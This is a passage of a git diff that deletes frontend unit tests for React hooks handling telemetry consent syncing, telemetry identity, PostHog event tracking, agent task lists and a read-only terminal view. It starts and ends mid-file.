"http://localhost:8000"; - state.backendApiKey = "key-1"; - - state.backendKind = "local"; - state.consent = "pending"; - }); - - it("does not call the local automation consent API while consent is pending", () => { - renderHook(() => useSyncAutomationTelemetryConsent()); - - expect(syncTelemetryConsentMock).not.toHaveBeenCalled(); - }); - - it("does not call the local automation consent API for cloud backends", () => { - state.backendKind = "cloud"; - state.consent = "granted"; - - renderHook(() => useSyncAutomationTelemetryConsent()); - - expect(syncTelemetryConsentMock).not.toHaveBeenCalled(); - }); - - it("syncs resolved consent for a local backend once", () => { - state.consent = "granted"; - const { rerender } = renderHook(() => useSyncAutomationTelemetryConsent()); - rerender(); - - expect(syncTelemetryConsentMock).toHaveBeenCalledTimes(1); - expect(syncTelemetryConsentMock).toHaveBeenCalledWith("granted"); - }); - - it("syncs when consent resolves after mount", () => { - renderHook(() => useSyncAutomationTelemetryConsent()); - - act(() => { - state.consent = "denied"; - listeners.forEach((listener) => listener()); - }); - - expect(syncTelemetryConsentMock).toHaveBeenCalledTimes(1); - expect(syncTelemetryConsentMock).toHaveBeenCalledWith("denied"); - }); - - it("syncs the current consent when switching between local backends", () => { - state.consent = "granted"; - const { rerender } = renderHook(() => useSyncAutomationTelemetryConsent()); - - state.backendId = "local-2"; - rerender(); - - expect(syncTelemetryConsentMock).toHaveBeenCalledTimes(2); - expect(syncTelemetryConsentMock).toHaveBeenNthCalledWith(1, "granted"); - expect(syncTelemetryConsentMock).toHaveBeenNthCalledWith(2, "granted"); - }); - - it("resyncs when the active local backend connection changes", () => { - state.consent = "granted"; - const { rerender } = renderHook(() => useSyncAutomationTelemetryConsent()); - - state.backendApiKey = "key-2"; - rerender(); - - expect(syncTelemetryConsentMock).toHaveBeenCalledTimes(2); - expect(syncTelemetryConsentMock).toHaveBeenNthCalledWith(1, "granted"); - expect(syncTelemetryConsentMock).toHaveBeenNthCalledWith(2, "granted"); - }); -}); diff --git a/__tests__/hooks/use-sync-telemetry-consent.test.ts b/__tests__/hooks/use-sync-telemetry-consent.test.ts deleted file mode 100644 index 75e74ff4f..000000000 --- a/__tests__/hooks/use-sync-telemetry-consent.test.ts +++ /dev/null @@ -1,184 +0,0 @@ -import { act, renderHook } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; - -const useSettingsMock = vi.fn(); -const saveSettingsMock = vi.fn(); -const useSaveSettingsMock = vi.fn(); -const clearPendingCloudTelemetryConsentMock = vi.fn(); -const setTelemetryConsentMock = vi.fn(); -const state = { - backendId: "backend-1", - backendKind: "cloud" as "cloud" | "local", - pendingConsent: null as "granted" | "denied" | null, - isSavingSettings: false, -}; -let pendingConsentListener: (() => void) | null = null; - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => useSettingsMock(), -})); - -vi.mock("#/hooks/mutation/use-save-settings", () => ({ - useSaveSettings: (...args: unknown[]) => { - useSaveSettingsMock(...args); - return { - mutate: saveSettingsMock, - isPending: state.isSavingSettings, - }; - }, -})); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => ({ - backend: { id: state.backendId, kind: state.backendKind }, - }), -})); - -vi.mock("#/services/telemetry", () => ({ - clearPendingCloudTelemetryConsent: (...args: unknown[]) => - clearPendingCloudTelemetryConsentMock(...args), - getPendingCloudTelemetryConsent: () => state.pendingConsent, - setTelemetryConsent: (...args: unknown[]) => setTelemetryConsentMock(...args), - subscribeTelemetryConsent: (listener: () => void) => { - pendingConsentListener = listener; - return () => { - pendingConsentListener = null; - }; - }, -})); - -// Import after mocks so the module sees the stubbed dependencies. -import { useSyncTelemetryConsent } from "#/hooks/use-sync-telemetry-consent"; - -describe("useSyncTelemetryConsent", () => { - beforeEach(() => { - vi.clearAllMocks(); - state.backendId = "backend-1"; - state.backendKind = "cloud"; - state.pendingConsent = null; - state.isSavingSettings = false; - pendingConsentListener = null; - }); - - it("calls opt-out when user_consents_to_analytics is null", () => { - useSettingsMock.mockReturnValue({ - data: { user_consents_to_analytics: null }, - }); - - renderHook(() => useSyncTelemetryConsent()); - - expect(setTelemetryConsentMock).toHaveBeenCalledWith("denied", { - syncToCloud: false, - }); - }); - - it("calls opt-out when user_consents_to_analytics is false", () => { - useSettingsMock.mockReturnValue({ - data: { user_consents_to_analytics: false }, - }); - - renderHook(() => useSyncTelemetryConsent()); - - expect(setTelemetryConsentMock).toHaveBeenCalledWith("denied", { - syncToCloud: false, - }); - }); - - it("calls opt-in when user_consents_to_analytics is true", () => { - useSettingsMock.mockReturnValue({ - data: { user_consents_to_analytics: true }, - }); - - renderHook(() => useSyncTelemetryConsent()); - - expect(setTelemetryConsentMock).toHaveBeenCalledWith("granted", { - syncToCloud: false, - }); - }); - - it("does nothing while settings are still loading (data === undefined)", () => { - useSettingsMock.mockReturnValue({ data: undefined }); - - renderHook(() => useSyncTelemetryConsent()); - - expect(setTelemetryConsentMock).not.toHaveBeenCalled(); - }); - - it("persists a newer pre-login grant instead of applying a stale backend denial", () => { - state.pendingConsent = "granted"; - useSettingsMock.mockReturnValue({ - data: { user_consents_to_analytics: false }, - }); - - renderHook(() => useSyncTelemetryConsent()); - - expect(saveSettingsMock).toHaveBeenCalledWith({ - user_consents_to_analytics: true, - }); - expect(setTelemetryConsentMock).not.toHaveBeenCalled(); - expect(clearPendingCloudTelemetryConsentMock).not.toHaveBeenCalled(); - expect(useSaveSettingsMock).toHaveBeenCalledWith("personal", { retry: 2 }); - }); - - it("clears a pending browser choice only after the backend confirms it", () => { - state.pendingConsent = "granted"; - useSettingsMock.mockReturnValue({ - data: { user_consents_to_analytics: true }, - }); - - renderHook(() => useSyncTelemetryConsent()); - - expect(clearPendingCloudTelemetryConsentMock).toHaveBeenCalledWith( - "granted", - ); - expect(saveSettingsMock).not.toHaveBeenCalled(); - expect(setTelemetryConsentMock).not.toHaveBeenCalled(); - }); - - it("keeps the choice pending when only a local backend confirms it", () => { - state.backendKind = "local"; - state.pendingConsent = "granted"; - useSettingsMock.mockReturnValue({ - data: { user_consents_to_analytics: true }, - }); - - renderHook(() => useSyncTelemetryConsent()); - - expect(clearPendingCloudTelemetryConsentMock).not.toHaveBeenCalled(); - expect(saveSettingsMock).not.toHaveBeenCalled(); - }); - - it("does not start another mutation while bounded retries run", () => { - state.pendingConsent = "granted"; - useSettingsMock.mockReturnValue({ - data: { user_consents_to_analytics: false }, - }); - - const { rerender } = renderHook(() => useSyncTelemetryConsent()); - state.isSavingSettings = true; - rerender(); - state.isSavingSettings = false; - rerender(); - - expect(saveSettingsMock).toHaveBeenCalledTimes(1); - }); - - it("reacts when a first-run choice is made after the hook has mounted", () => { - useSettingsMock.mockReturnValue({ - data: { user_consents_to_analytics: false }, - }); - renderHook(() => useSyncTelemetryConsent()); - expect(setTelemetryConsentMock).toHaveBeenCalledWith("denied", { - syncToCloud: false, - }); - - vi.clearAllMocks(); - state.pendingConsent = "granted"; - act(() => pendingConsentListener?.()); - - expect(saveSettingsMock).toHaveBeenCalledWith({ - user_consents_to_analytics: true, - }); - expect(setTelemetryConsentMock).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/use-task-list.test.ts b/__tests__/hooks/use-task-list.test.ts deleted file mode 100644 index 6e7574b0e..000000000 --- a/__tests__/hooks/use-task-list.test.ts +++ /dev/null @@ -1,187 +0,0 @@ -import { describe, expect, it, beforeEach } from "vitest"; -import { renderHook, act } from "@testing-library/react"; -import { useTaskList } from "#/hooks/use-task-list"; -import { useEventStore } from "#/stores/use-event-store"; -import type { OHEvent } from "#/stores/use-event-store"; -import type { MessageEvent } from "#/types/agent-server/core"; - -function createTaskTrackerObservation( - id: string, - command: string, - taskList: Array<{ - title: string; - notes: string; - status: "todo" | "in_progress" | "done"; - }>, -): OHEvent { - return { - id, - timestamp: `2025-07-01T00:00:0${id}Z`, - source: "environment", - tool_name: "task_tracker", - tool_call_id: `call_${id}`, - action_id: `action_${id}`, - observation: { - kind: "TaskTrackerObservation", - content: "Task list updated", - command, - task_list: taskList, - }, - } as OHEvent; -} - -function createUserMessage(id: string): MessageEvent { - return { - id, - timestamp: `2025-07-01T00:00:0${id}Z`, - source: "user", - llm_message: { - role: "user", - content: [{ type: "text", text: "Hello" }], - }, - activated_microagents: [], - extended_content: [], - }; -} - -beforeEach(() => { - useEventStore.setState({ - events: [], - eventIds: new Set(), - uiEvents: [], - }); -}); - -describe("useTaskList", () => { - it("returns empty taskList and hasTaskList=false when no events exist", () => { - const { result } = renderHook(() => useTaskList()); - - expect(result.current.taskList).toEqual([]); - expect(result.current.hasTaskList).toBe(false); - }); - - it("returns empty taskList when no task tracking observations exist", () => { - const event = createUserMessage("1"); - useEventStore.setState({ - events: [event], - eventIds: new Set(["1"]), - uiEvents: [], - }); - - const { result } = renderHook(() => useTaskList()); - - expect(result.current.taskList).toEqual([]); - expect(result.current.hasTaskList).toBe(false); - }); - - it('returns the task list from a TaskTrackerObservation with command="plan"', () => { - const tasks = [ - { title: "First task", notes: "", status: "todo" as const }, - { - title: "Second task", - notes: "some note", - status: "in_progress" as const, - }, - ]; - const event = createTaskTrackerObservation("1", "plan", tasks); - - useEventStore.setState({ - events: [event], - eventIds: new Set(["1"]), - uiEvents: [event], - }); - - const { result } = renderHook(() => useTaskList()); - - expect(result.current.taskList).toEqual([ - { id: "1", title: "First task", notes: undefined, status: "todo" }, - { - id: "2", - title: "Second task", - notes: "some note", - status: "in_progress", - }, - ]); - expect(result.current.hasTaskList).toBe(true); - }); - - it('ignores TaskTrackerObservation with command !== "plan"', () => { - const tasks = [{ title: "First task", notes: "", status: "todo" as const }]; - const event = createTaskTrackerObservation("1", "view", tasks); - - useEventStore.setState({ - events: [event], - eventIds: new Set(["1"]), - uiEvents: [event], - }); - - const { result } = renderHook(() => useTaskList()); - - expect(result.current.taskList).toEqual([]); - expect(result.current.hasTaskList).toBe(false); - }); - - it("returns the latest task list when multiple plan events exist", () => { - const earlyTasks = [ - { title: "First task", notes: "", status: "todo" as const }, - ]; - const lateTasks = [ - { title: "First task", notes: "", status: "done" as const }, - { title: "New task", notes: "wip", status: "in_progress" as const }, - ]; - - const event1 = createTaskTrackerObservation("1", "plan", earlyTasks); - const event2 = createTaskTrackerObservation("2", "plan", lateTasks); - - useEventStore.setState({ - events: [event1, event2], - eventIds: new Set(["1", "2"]), - uiEvents: [event1, event2], - }); - - const { result } = renderHook(() => useTaskList()); - - expect(result.current.taskList).toEqual([ - { id: "1", title: "First task", notes: undefined, status: "done" }, - { id: "2", title: "New task", notes: "wip", status: "in_progress" }, - ]); - expect(result.current.hasTaskList).toBe(true); - }); - - it("updates when new events are added to the store", () => { - const { result } = renderHook(() => useTaskList()); - - expect(result.current.hasTaskList).toBe(false); - - const tasks = [{ title: "New task", notes: "", status: "todo" as const }]; - const event = createTaskTrackerObservation("1", "plan", tasks); - - act(() => { - useEventStore.setState({ - events: [event], - eventIds: new Set(["1"]), - uiEvents: [event], - }); - }); - - expect(result.current.taskList).toEqual([ - { id: "1", title: "New task", notes: undefined, status: "todo" }, - ]); - expect(result.current.hasTaskList).toBe(true); - }); - - it("returns hasTaskList=false when the latest plan has an empty task list", () => { - const event = createTaskTrackerObservation("1", "plan", []); - - useEventStore.setState({ - events: [event], - eventIds: new Set(["1"]), - uiEvents: [event], - }); - - const { result } = renderHook(() => useTaskList()); - - expect(result.current.taskList).toEqual([]); - expect(result.current.hasTaskList).toBe(false); - }); -}); diff --git a/__tests__/hooks/use-telemetry-identity.test.ts b/__tests__/hooks/use-telemetry-identity.test.ts deleted file mode 100644 index 8fae45e91..000000000 --- a/__tests__/hooks/use-telemetry-identity.test.ts +++ /dev/null @@ -1,118 +0,0 @@ -import { renderHook } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; - -const useSettingsMock = vi.fn(); -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => useSettingsMock(), -})); - -const useActiveBackendMock = vi.fn(); -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => useActiveBackendMock(), -})); - -const useCloudCurrentUserIdMock = vi.fn(); -vi.mock("#/hooks/query/use-cloud-current-user-id", () => ({ - useCloudCurrentUserId: () => useCloudCurrentUserIdMock(), -})); - -const setTelemetryCloudContextMock = vi.fn(); -vi.mock("#/services/telemetry", () => ({ - setTelemetryCloudContext: (...args: unknown[]) => - setTelemetryCloudContextMock(...args), -})); - -import { useTelemetryIdentity } from "#/hooks/use-telemetry-identity"; - -const BACKEND_ID = "cloud-1"; -const cloudBackend = { kind: "cloud" as const, id: BACKEND_ID }; -const localBackend = { kind: "local" as const, id: "local-1" }; - -describe("useTelemetryIdentity", () => { - beforeEach(() => { - vi.clearAllMocks(); - useActiveBackendMock.mockReturnValue({ - backend: cloudBackend, - orgId: "org-123", - }); - useSettingsMock.mockReturnValue({ - data: { email: "user@example.com", git_user_email: "git@example.com" }, - }); - useCloudCurrentUserIdMock.mockReturnValue({ - [BACKEND_ID]: { userId: "user-123", isLoading: false }, - }); - }); - - it("declares the current Cloud user context", () => { - renderHook(() => useTelemetryIdentity()); - - expect(setTelemetryCloudContextMock).toHaveBeenCalledWith({ - userId: "user-123", - email: "user@example.com", - orgId: "org-123", - }); - }); - - it("falls back to the git email and omits an absent email", () => { - useSettingsMock.mockReturnValue({ - data: { email: "", git_user_email: "git@example.com" }, - }); - const { rerender } = renderHook(() => useTelemetryIdentity()); - expect(setTelemetryCloudContextMock).toHaveBeenLastCalledWith({ - userId: "user-123", - email: "git@example.com", - orgId: "org-123", - }); - - useSettingsMock.mockReturnValue({ data: {} }); - rerender(); - expect(setTelemetryCloudContextMock).toHaveBeenLastCalledWith({ - userId: "user-123", - email: undefined, - orgId: "org-123", - }); - }); - - it("preserves Cloud user context while the identity query loads", () => { - useCloudCurrentUserIdMock.mockReturnValue({ - [BACKEND_ID]: { userId: null, isLoading: true }, - }); - - renderHook(() => useTelemetryIdentity()); - - expect(setTelemetryCloudContextMock).not.toHaveBeenCalled(); - }); - - it("declares logout only after the Cloud identity query settles", () => { - useCloudCurrentUserIdMock.mockReturnValue({ - [BACKEND_ID]: { userId: null, isLoading: false }, - }); - - renderHook(() => useTelemetryIdentity()); - - expect(setTelemetryCloudContextMock).toHaveBeenCalledWith(null); - }); - - it("clears Cloud user context while a local backend is active", () => { - useActiveBackendMock.mockReturnValue({ backend: localBackend, orgId: null }); - - renderHook(() => useTelemetryIdentity()); - - expect(setTelemetryCloudContextMock).toHaveBeenCalledWith(null); - }); - - it("declares a changed Cloud account", () => { - const { rerender } = renderHook(() => useTelemetryIdentity()); - useCloudCurrentUserIdMock.mockReturnValue({ - [BACKEND_ID]: { userId: "user-456", isLoading: false }, - }); - - rerender(); - - expect(setTelemetryCloudContextMock).toHaveBeenLastCalledWith({ - userId: "user-456", - email: "user@example.com", - orgId: "org-123", - }); - }); -}); diff --git a/__tests__/hooks/use-telemetry.test.tsx b/__tests__/hooks/use-telemetry.test.tsx deleted file mode 100644 index e6e3129d2..000000000 --- a/__tests__/hooks/use-telemetry.test.tsx +++ /dev/null @@ -1,178 +0,0 @@ -import { describe, it, expect, beforeEach, vi, afterEach } from "vitest"; -import { renderHook, act, waitFor } from "@testing-library/react"; - -const canvasPosthog = vi.hoisted(() => ({ - capture: vi.fn(), - opt_in_capturing: vi.fn(), - opt_out_capturing: vi.fn(), - has_opted_out_capturing: vi.fn(() => false), - reset: vi.fn(), - register: vi.fn(), -})); - -// Mock posthog-js before importing hook. Canvas telemetry uses the instance -// returned by named initialization rather than PostHog's default singleton. -vi.mock("posthog-js", () => ({ - default: { - init: vi.fn(() => canvasPosthog), - }, -})); - -import { useTelemetry } from "#/hooks/use-telemetry"; -import { setTelemetryConsent } from "#/services/telemetry"; - -describe("useTelemetry", () => { - beforeEach(() => { - localStorage.clear(); - sessionStorage.clear(); - vi.clearAllMocks(); - }); - - afterEach(() => { - localStorage.clear(); - sessionStorage.clear(); - }); - - it("returns pending consent initially", () => { - const { result } = renderHook(() => useTelemetry()); - - expect(result.current.consent).toBe("pending"); - expect(result.current.isEnabled).toBe(false); - expect(result.current.showConsentPrompt).toBe(true); - }); - - it("returns granted consent when already granted in localStorage", () => { - localStorage.setItem("openhands-telemetry-consent", "granted"); - - const { result } = renderHook(() => useTelemetry()); - - expect(result.current.consent).toBe("granted"); - expect(result.current.isEnabled).toBe(true); - expect(result.current.showConsentPrompt).toBe(false); - }); - - it("returns denied consent when already denied in localStorage", () => { - localStorage.setItem("openhands-telemetry-consent", "denied"); - - const { result } = renderHook(() => useTelemetry()); - - expect(result.current.consent).toBe("denied"); - expect(result.current.isEnabled).toBe(false); - expect(result.current.showConsentPrompt).toBe(false); - }); - - it("triggers trackInstall on mount (regardless of consent)", async () => { - renderHook(() => useTelemetry()); - - // trackInstall is called on mount - wait for the async effect - await waitFor(() => { - expect(canvasPosthog.capture).toHaveBeenCalledWith( - "canvas_install", - expect.any(Object), - ); - }); - }); - - it("only triggers trackInstall once even with multiple renders", async () => { - const { rerender } = renderHook(() => useTelemetry()); - - // Wait for initial trackInstall - await waitFor(() => { - expect(canvasPosthog.capture).toHaveBeenCalledTimes(1); - }); - - // Rerender multiple times - rerender(); - rerender(); - rerender(); - - // Should still only have been called once - expect(canvasPosthog.capture).toHaveBeenCalledTimes(1); - }); - - it("grants consent and enables telemetry", async () => { - const { result } = renderHook(() => useTelemetry()); - - await act(async () => { - await result.current.grantConsent(); - }); - - expect(result.current.consent).toBe("granted"); - expect(result.current.isEnabled).toBe(true); - expect(result.current.showConsentPrompt).toBe(false); - expect(localStorage.getItem("openhands-telemetry-consent")).toBe("granted"); - }); - - it("denies consent and disables telemetry", async () => { - const { result } = renderHook(() => useTelemetry()); - - await act(async () => { - await result.current.denyConsent(); - }); - - expect(result.current.consent).toBe("denied"); - expect(result.current.isEnabled).toBe(false); - expect(result.current.showConsentPrompt).toBe(false); - expect(localStorage.getItem("openhands-telemetry-consent")).toBe("denied"); - }); - - it("reacts to consent changes outside the hook", async () => { - const { result } = renderHook(() => useTelemetry()); - - await act(() => - setTelemetryConsent("granted", { - syncToCloud: false, - }), - ); - - expect(result.current.consent).toBe("granted"); - }); - - it("track function does nothing when consent is not granted", () => { - localStorage.setItem("openhands-telemetry-first-use", "true"); // Skip install tracking - vi.clearAllMocks(); - - const { result } = renderHook(() => useTelemetry()); - - act(() => { - result.current.track("test_event", { foo: "bar" }); - }); - - // capture should not be called for custom events without consent - expect(canvasPosthog.capture).not.toHaveBeenCalledWith("test_event", { - foo: "bar", - }); - }); - - it("track function calls trackEvent when consent is granted", () => { - localStorage.setItem("openhands-telemetry-consent", "granted"); - localStorage.setItem("openhands-telemetry-first-use", "true"); // Skip install tracking - - const { result } = renderHook(() => useTelemetry()); - - // Verify that calling track when consent is granted doesn't throw - // and that it gets dispatched (the actual PostHog call is tested in telemetry.test.ts) - expect(() => { - act(() => { - result.current.track("test_event", { foo: "bar" }); - }); - }).not.toThrow(); - }); - - it("clearData resets consent to pending", async () => { - const { result } = renderHook(() => useTelemetry()); - - await act(async () => { - await result.current.grantConsent(); - }); - - expect(result.current.consent).toBe("granted"); - - await act(async () => { - await result.current.clearData(); - }); - - expect(result.current.consent).toBe("pending"); - expect(result.current.showConsentPrompt).toBe(true); - }); -}); diff --git a/__tests__/hooks/use-terminal.test.tsx b/__tests__/hooks/use-terminal.test.tsx deleted file mode 100644 index 5fd565967..000000000 --- a/__tests__/hooks/use-terminal.test.tsx +++ /dev/null @@ -1,115 +0,0 @@ -import { beforeAll, describe, expect, it, vi, afterEach } from "vitest"; -import { useTerminal } from "#/hooks/use-terminal"; -import { Command, useCommandStore } from "#/stores/command-store"; -import { renderWithProviders } from "../../test-utils"; - -// Mock useActiveConversation -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => ({ - data: { - id: "test-conversation-id", - }, - isFetched: true, - }), -})); - -// Mock useConversationWebSocket -vi.mock("#/contexts/conversation-websocket-context", () => ({ - useConversationWebSocket: () => null, -})); - -function TestTerminalComponent() { - const ref = useTerminal(); - return
    ; -} - -describe("useTerminal", () => { - // Terminal is read-only - no longer tests user input functionality - const mockTerminal = vi.hoisted(() => ({ - loadAddon: vi.fn(), - open: vi.fn(), - write: vi.fn(), - writeln: vi.fn(), - dispose: vi.fn(), - element: document.createElement("div"), - })); - - const mockFitAddon = vi.hoisted(() => ({ - fit: vi.fn(), - })); - - beforeAll(() => { - // mock ResizeObserver - use class for Vitest 4 constructor support - window.ResizeObserver = class { - observe = vi.fn(); - - unobserve = vi.fn(); - - disconnect = vi.fn(); - } as unknown as typeof ResizeObserver; - - // mock Terminal - use class for Vitest 4 constructor support - vi.mock("@xterm/xterm", async (importOriginal) => ({ - ...(await importOriginal()), - Terminal: class { - loadAddon = mockTerminal.loadAddon; - - open = mockTerminal.open; - - write = mockTerminal.write; - - writeln = mockTerminal.writeln; - - dispose = mockTerminal.dispose; - - element = mockTerminal.element; - }, - })); - - // mock FitAddon - vi.mock("@xterm/addon-fit", () => ({ - FitAddon: class { - fit = mockFitAddon.fit; - }, - })); - }); - - afterEach(() => { - vi.clearAllMocks(); - // Reset command store between tests - useCommandStore.setState({ commands: [] }); - }); - - it("should render", () => { - renderWithProviders(); - }); - - it("should render the commands in the terminal", () => { - const commands: Command[] = [ - { content: "echo hello", type: "input" }, - { content: "hello", type: "output" }, - ]; - - // Set commands in store before rendering to ensure they're picked up during initialization - useCommandStore.setState({ commands }); - - renderWithProviders(); - - expect(mockTerminal.writeln).toHaveBeenNthCalledWith(1, "echo hello"); - expect(mockTerminal.writeln).toHaveBeenNthCalledWith(2, "hello"); - }); - - it("should not call fit() when terminal.element is null", () => { - // Temporarily set element to null to simulate terminal not being opened - const originalElement = mockTerminal.element; - mockTerminal.element = null as unknown as HTMLDivElement; - - renderWithProviders(); - - // fit() should not be called because terminal.element is null - expect(mockFitAddon.fit).not.toHaveBeenCalled(); - - // Restore original element - mockTerminal.element = originalElement; - }); -}); diff --git a/__tests__/hooks/use-tracking.test.ts b/__tests__/hooks/use-tracking.test.ts deleted file mode 100644 index 137310fd3..000000000 --- a/__tests__/hooks/use-tracking.test.ts +++ /dev/null @@ -1,470 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import * as telemetry from "#/services/telemetry"; - -const useSettingsMock = vi.fn(); -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => useSettingsMock(), -})); - -const compatibilityMocks = vi.hoisted(() => ({ - getCachedAgentServerVersion: vi.fn(), -})); -vi.mock("#/api/agent-server-compatibility", () => ({ - getCachedAgentServerVersion: compatibilityMocks.getCachedAgentServerVersion, -})); - -const automationSdkVersionHookMock = vi.hoisted(() => ({ - useAutomationSdkVersion: vi.fn(), -})); -vi.mock("#/hooks/query/use-automation-sdk-version", () => ({ - useAutomationSdkVersion: automationSdkVersionHookMock.useAutomationSdkVersion, -})); - -import { useTracking } from "#/hooks/use-tracking"; - -// Resolved at test-run time so it matches whatever URL jsdom is configured -// with in the current environment (varies between local and CI). -let COMMON: Record; - -describe("useTracking", () => { - let captureMock: ReturnType; - let setBackendContextMock: ReturnType; - - beforeEach(() => { - captureMock = vi - .spyOn(telemetry, "trackEvent") - .mockResolvedValue(undefined); - setBackendContextMock = vi.spyOn(telemetry, "setTelemetryBackendContext"); - useSettingsMock.mockReset(); - automationSdkVersionHookMock.useAutomationSdkVersion.mockReset(); - automationSdkVersionHookMock.useAutomationSdkVersion.mockReturnValue(null); - compatibilityMocks.getCachedAgentServerVersion.mockReset(); - compatibilityMocks.getCachedAgentServerVersion.mockReturnValue(null); - - useSettingsMock.mockReturnValue({ - data: { email: "user@example.com", user_consents_to_analytics: true }, - }); - COMMON = { - current_url: window.location.href, - }; - }); - - afterEach(() => { - captureMock.mockRestore(); - setBackendContextMock.mockRestore(); - }); - - const getTracking = () => renderHook(() => useTracking()).result.current; - - describe("trackLoginButtonClick", () => { - it("captures login_button_clicked with provider and commonProperties", () => { - getTracking().trackLoginButtonClick({ provider: "github" }); - - expect(captureMock).toHaveBeenCalledWith("login_button_clicked", { - provider: "github", - ...COMMON, - }); - }); - }); - - describe("trackConversationCreated", () => { - it("captures conversation_created with full metadata for a repository, task-start conversation", () => { - getTracking().trackConversationCreated({ - conversationId: "task-abc123", - taskId: "abc123", - hasRepository: true, - gitProvider: "github", - hasWorkspace: false, - hasInitialQuery: true, - hasParentConversation: false, - entryPoint: "sidebar_cloud_menu", - }); - - expect(captureMock).toHaveBeenCalledWith("conversation_created", { - conversation_id: "task-abc123", - task_id: "abc123", - // task-prefixed conversation_id => cloud sandbox still provisioning - is_start_task: true, - has_repository: true, - git_provider: "github", - has_workspace: false, - workspace_mode: undefined, - has_initial_query: true, - agent_type: undefined, - has_parent_conversation: false, - entry_point: "sidebar_cloud_menu", - ...COMMON, - }); - }); - - it("captures conversation_created for a local workspace start with no repository", () => { - getTracking().trackConversationCreated({ - conversationId: "conv-1", - taskId: "conv-1", - hasRepository: false, - hasWorkspace: true, - workspaceMode: "local_repo", - hasInitialQuery: false, - hasParentConversation: false, - entryPoint: "sidebar_local_menu", - }); - - expect(captureMock).toHaveBeenCalledWith("conversation_created", { - conversation_id: "conv-1", - task_id: "conv-1", - // real conversation_id => ready immediately (local) - is_start_task: false, - has_repository: false, - git_provider: undefined, - has_workspace: true, - workspace_mode: "local_repo", - has_initial_query: false, - agent_type: undefined, - has_parent_conversation: false, - entry_point: "sidebar_local_menu", - ...COMMON, - }); - }); - - it("captures agent_type and has_parent_conversation for a plan sub-conversation", () => { - getTracking().trackConversationCreated({ - conversationId: "task-plan-1", - taskId: "plan-1", - hasRepository: false, - hasWorkspace: false, - hasInitialQuery: false, - agentType: "plan", - hasParentConversation: true, - entryPoint: "plan_sub_conversation", - }); - - expect(captureMock).toHaveBeenCalledWith( - "conversation_created", - expect.objectContaining({ - agent_type: "plan", - has_parent_conversation: true, - }), - ); - }); - - it("declares backend versions to the telemetry service when known", async () => { - automationSdkVersionHookMock.useAutomationSdkVersion.mockReturnValue( - "1.36.3", - ); - compatibilityMocks.getCachedAgentServerVersion.mockReturnValue("1.36.2"); - - const { result } = renderHook(() => useTracking()); - await waitFor(() => - expect(setBackendContextMock).toHaveBeenCalledWith( - expect.objectContaining({ automationSdkVersion: "1.36.3" }), - ), - ); - setBackendContextMock.mockClear(); - - result.current.trackConversationCreated({ - conversationId: "conv-versioned", - taskId: "conv-versioned", - hasRepository: false, - hasWorkspace: false, - hasInitialQuery: true, - hasParentConversation: false, - entryPoint: "home", - }); - - expect(setBackendContextMock).toHaveBeenCalledWith( - expect.objectContaining({ - backendKind: "local", - agentServerVersion: "1.36.2", - automationSdkVersion: "1.36.3", - }), - ); - expect(captureMock).toHaveBeenCalledWith( - "conversation_created", - expect.not.objectContaining({ - agent_server_version: "1.36.2", - automation_sdk_version: "1.36.3", - backend_version: "1.36.2", - }), - ); - expect( - compatibilityMocks.getCachedAgentServerVersion, - ).toHaveBeenCalledWith(expect.any(String)); - }); - - it("uses the latest cached agent-server version when an event fires", () => { - compatibilityMocks.getCachedAgentServerVersion.mockReturnValue(null); - const tracking = getTracking(); - setBackendContextMock.mockClear(); - compatibilityMocks.getCachedAgentServerVersion.mockReturnValue("1.36.1"); - - tracking.trackConversationCreated({ - conversationId: "conv-cache-late", - taskId: "conv-cache-late", - hasRepository: false, - hasWorkspace: false, - hasInitialQuery: true, - hasParentConversation: false, - entryPoint: "home", - }); - - expect(setBackendContextMock).toHaveBeenCalledWith( - expect.objectContaining({ - backendKind: "local", - agentServerVersion: "1.36.1", - }), - ); - }); - }); - - describe("trackPushButtonClick", () => { - it("captures push_button_clicked with commonProperties", () => { - getTracking().trackPushButtonClick(); - - expect(captureMock).toHaveBeenCalledWith( - "push_button_clicked", - expect.objectContaining(COMMON), - ); - }); - }); - - describe("trackPullButtonClick", () => { - it("captures pull_button_clicked with commonProperties", () => { - getTracking().trackPullButtonClick(); - - expect(captureMock).toHaveBeenCalledWith( - "pull_button_clicked", - expect.objectContaining(COMMON), - ); - }); - }); - - describe("trackCreatePrButtonClick", () => { - it("captures create_pr_button_clicked with commonProperties", () => { - getTracking().trackCreatePrButtonClick(); - - expect(captureMock).toHaveBeenCalledWith( - "create_pr_button_clicked", - expect.objectContaining(COMMON), - ); - }); - }); - - describe("trackUserSignupCompleted", () => { - it("captures user_signup_completed with signup_timestamp and commonProperties", () => { - getTracking().trackUserSignupCompleted(); - - expect(captureMock).toHaveBeenCalledWith( - "user_signup_completed", - expect.objectContaining({ - signup_timestamp: expect.any(String), - ...COMMON, - }), - ); - }); - }); - - describe("trackPrebuiltAutomationEnabled", () => { - it("captures prebuilt_automation_enabled with all fields", () => { - getTracking().trackPrebuiltAutomationEnabled({ - automationId: "auto-1", - automationName: "My Automation", - automationCategory: "CI", - }); - - expect(captureMock).toHaveBeenCalledWith("prebuilt_automation_enabled", { - automation_id: "auto-1", - automation_name: "My Automation", - automation_category: "CI", - ...COMMON, - }); - }); - - it("sends undefined fields when optional args are omitted", () => { - getTracking().trackPrebuiltAutomationEnabled({ - automationName: "Minimal", - }); - - expect(captureMock).toHaveBeenCalledWith( - "prebuilt_automation_enabled", - expect.objectContaining({ - automation_name: "Minimal", - automation_id: undefined, - automation_category: undefined, - }), - ); - }); - }); - - describe("trackInitialQuerySubmitted", () => { - it("captures initial_query_submitted with all properties", () => { - getTracking().trackInitialQuerySubmitted({ - entryPoint: "github", - queryCharacterLength: 42, - replayJsonSize: 100, - }); - - expect(captureMock).toHaveBeenCalledWith("initial_query_submitted", { - entry_point: "github", - query_character_length: 42, - replay_json_size: 100, - ...COMMON, - }); - }); - - it("sends undefined replayJsonSize when omitted", () => { - 